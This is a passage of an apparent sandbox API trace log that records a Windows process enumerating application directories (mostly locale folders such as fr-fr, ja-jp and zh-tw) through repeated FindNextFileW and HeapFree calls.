ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.765] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.765] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.765] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.765] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.766] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.766] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.766] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.766] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.767] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.768] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.769] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.770] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.771] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.772] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.772] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0190.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.773] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.774] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.775] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.775] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.778] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.779] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.779] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.780] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.780] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.781] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.781] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.781] FindClose (in: hFindFile=0x4564ef8 | out: hFindFile=0x4564ef8) returned 1 [0190.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.781] FindNextFileW (in: hFindFile=0x4564ff8, lpFindFileData=0x2eada30 | out: lpFindFileData=0x2eada30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 1 [0190.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.782] FindNextFileW (in: hFindFile=0x4564ff8, lpFindFileData=0x2eada30 | out: lpFindFileData=0x2eada30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 0 [0190.782] FindClose (in: hFindFile=0x4564ff8 | out: hFindFile=0x4564ff8) returned 1 [0190.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.782] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0 [0190.782] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0190.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.782] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 0 [0190.782] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0190.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.785] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 1 [0190.790] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.791] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.792] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0190.793] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0191.067] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0191.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.068] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0191.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.069] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0191.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.069] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0191.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.069] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0191.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.070] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0191.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 